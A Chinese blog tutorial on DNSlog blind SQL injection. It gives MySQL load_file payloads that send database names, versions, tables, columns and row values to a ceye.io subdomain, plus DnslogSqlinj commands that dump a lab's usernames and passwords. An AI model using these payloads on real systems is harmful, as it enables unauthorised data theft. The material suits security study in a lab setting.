SQL注入-DNSlog注入(手工加工具使用)

SQL注入-DNSlog注入(手工加工具使用),第1张

文章目录
  • 一:DNSlog注入原理
  • 二:DNSlog应用场景
  • 三:DNSlog手工注入
  • 四:利用DnslogSqlinj工具进入DNSlog注入

一:DNSlog注入原理

Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的注入结果。通过load_file()不仅可以查看本地文件,也可以访问远程共享文件。 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

二:DNSlog应用场景

sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等 *** 作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

PS:DNSLOG注入需要有两个条件,1.SQL服务器能连接网络;2.开启了LOAD_FILE() 读取文件的函数

三:DNSlog手工注入

1.要利用在线的dns在线服务器,网站可以记录下我们的DNS请求,并用网站查询信息

网站网址:http://www.dnslog.cn http://ceye.io/ http://admin.dnslog.link

2.pylaod构造

// 查询当前数据库
id=1'and load_file(concat("\\",database(),".913n8.ceye.io\xxx.txt"))--+

//查询其他数据库
id=1'and load_file(concat("\\",(select schema_name from information_schema.schemata limit 0,1),".913n8.ceye.io\xxx.txt"))--+
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
"""

//查询版本号
id=1'and load_file(concat("\\",version(),".913n8.ceye.io\xxx.txt"))--+

//查询当前数据库security中第一个表名
id=1'and load_file(concat("\\",(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),".913n8.ceye.io\xxx.txt"))--+

"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""
//查询security数据库emails表下第一个列名
id=1'and load_file(concat("\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".913n8.ceye.io\xxx.txt"))--+

//查询字段值  数据库名为security 表名emails 列名id
id=1'and load_file(concat("\\",(select id from security.emails limit 0,1),".913n8.ceye.io\xxx.txt"))--+

注意:要用limit控制查询的数,以及查询的位置

3.通知DNS在线服务器,查询日志,获取注入信息。

查询的截图:

四:利用DnslogSqlinj工具进入DNSlog注入

工具下载链接

https://github.com/adooo/dnslogsqlinj

需要使用python27环境

配置:

找到DNS在线服务器,例如上面用到的 http://ceye.io 找到profile 把相应的信息写到config.py中

使用语句:

获取数据库名:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
获取数据库security下的表名:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
获取users表的列名:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
获取uses表中的数据:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump

测试截图:

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/715488.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-25
下一篇 2022-04-25

发表评论

登录后才能评论

评论列表(0条)

保存